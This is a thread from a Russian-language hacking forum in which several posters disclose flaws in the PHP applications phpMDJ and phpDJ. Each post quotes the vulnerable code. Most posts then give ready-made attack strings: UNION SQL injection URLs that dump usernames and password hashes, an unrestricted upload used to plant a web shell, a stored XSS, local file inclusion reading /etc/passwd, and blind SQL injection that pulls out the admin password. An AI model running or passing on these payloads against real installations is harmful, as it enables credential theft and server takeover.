phpMDJ

Discussion in 'Веб-уязвимости' started by HAXTA4OK, 8 Nov 2009.

  1. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    942
    Likes Received:
    817
    Reputations:
    605
    SQL-inj

    Файл profil.php

    PHP:
    $membre $_GET['id'];            
    $sql "SELECT a.nom AS nGroupe, u.* FROM phpmdj_users u, phpmdj_auth a WHERE u.groupe = a.id_groupe AND u.id = $membre";  
    Code:
    http://localhost/phpMDJ/profil.php?id=-1+union+select+1,2,concat_ws(0x3a,pseudo,mdp),4,5,6,7,8,9,10,11,12,13,14,15,16+from+phpmdj_users--
    Файл calendrire.php

    PHP:
    $event     $_GET['id'];
    ....
    elseif(
    $mode == "anime")
    {
    $sql     "SELECT * FROM phpmdj_animes WHERE id_anime = $event";
    http://localhost/phpMDJ/calendrier.php?mode=anime&id=1+union+select+1,2,unhex(hex(version())),4,5,6,7--


    Залитие шелла

    Файл admin_download.php

    PHP:
    $rep         "../documents/";                  
    $savefile     $rep.$_FILES["userfile"]["name"];       
    $temp         $_FILES["userfile"]["tmp_name"];  
    $fichier     $_FILES["userfile"]["name"];          
    $titre prepareText($_POST["titre"]); 
    $date mktime();
    $groupe$_POST['groupe'];
    if(
    move_uploaded_file($temp$savefile))   
    http://localhost/phpMDJ/admin/admin_download.php?mode=ajout

    Льем шелл и как видим он попадает в папку documents =>

    http://localhost/phpMDJ/documents/shell.php

    SQL в админке (не так важно, но все же поиск багов)

    Файл admin_news

    PHP:
    $news $_GET['id_news'];  
    ...
    elseif(
    $mode == "edit")
            {
                
    $sql     "SELECT * FROM phpmdj_news WHERE id_news = $news";

    http://localhost/phpMDJ/admin/admin_news.php?mode=edit&id_news=-2+union+select+1,2,version(),4,5,6--

    aXSS

    Отправляем письмо c заголовком <script>alert()</script>
     
    _________________________
    #1 HAXTA4OK, 8 Nov 2009
    Last edited: 8 Nov 2009
    13 people like this.
  2. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    phpMDJ v0.5(latest)
    Download: http://sourceforge.net/projects/phpdj/

    LFI(mq==off):

    Уязвимый файл:
    ./dj/djpage.php

    Код:
    PHP:
    ...
    $page $_GET['page'];
    $type $_GET['type'];
    $name $_GET['name'];

    if (
    $_SESSION["phprank"] == "Suspended"){
    echo 
    "Your account is suspended.  You may <b>NOT</b> access this page.";
    include 
    "blank.html";
    exit();
    } else if(
    $page == "main"){
    echo 
    "Welcome to Radio Panel™, <b>".$_SESSION["phpname"]."</b>.<br>You are currently a(n) <b>".$_SESSION["phprank"];
    ...
    //проверяет содержимое page и делает что-то как в коде выше
    ...
    } else if (
    $type == "html") {
            include 
    "$page.html";
            } else {
            include 
    "$page.php";
            }
    Эксплуатация:
    ./dj/djpage.php?page=../../../../../../../../etc/passwd%00​
     
    1 person likes this.
  3. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    733
    Likes Received:
    646
    Reputations:
    251
    Вообще-то, там выполнение кода, без mq=off можно :)

    (Ну если mq =on то base64 :) )


    Ща пишу сплойт, точнее писал. Закончу выложу.
    Blind Sql injection.

    Уязвимый файл:
    usercomplaint.php

    PHP:
    $djname=$_POST['djname'];
    $user=$_POST['offusername'];
    $userip=$_POST['offip'];
    $complaint=$_POST['comments'];
    $djip=$_SERVER['REMOTE_ADDR']; 
    $date=date('F jS Y, h:iA');

    include (
    "sql.php");
    mysql_query("INSERT INTO `abuse` ( `djname` , `djip` , `date` , `user` , `userip` , `complaint` ) VALUES ( '$djname' , '$djip' , '$date' , '$user' , '$userip' , '$complaint ')")
    or die (
    "Could not insert into database.".mysql_error());

    echo 
    "Report succesfully sent.";
    How to:
    PHP:
    1',(SELECT name FROM members where rank=char(97,100,109,105,110) AND ascii(lower(substring((SELECT pass from members),1,1)))>=100),null,null,null,null)-- 
    Post'ом естественно.
    Sql injection:
    Need mq = off
    PHP:
    $name $_GET["name"];
    // Стасок плакал
    $sql_pass_get "SELECT * FROM profile WHERE name='$name'";
    Blind SQL injection
    dj/showalert.php
    PHP:
    $message=$_POST['message'];
    $checkip=$_POST['checkip']; 
    $djname=$_POST['djname'];  

    include 
    "sql.php";

        
    mysql_query("TRUNCATE TABLE `ipalert`");

        
    mysql_query("INSERT INTO `ipalert` ( `IP` , `message` , `djname` ) VALUES ( '$checkip', '$message' , '$djname' );")
        or die (
    "Could not insert into database.");

    echo 
    "Alert issued.";
    Аналогично верхнему, токо чуть чуть подругому.
     
    #3 Ctacok, 5 Jul 2010
    Last edited: 5 Jul 2010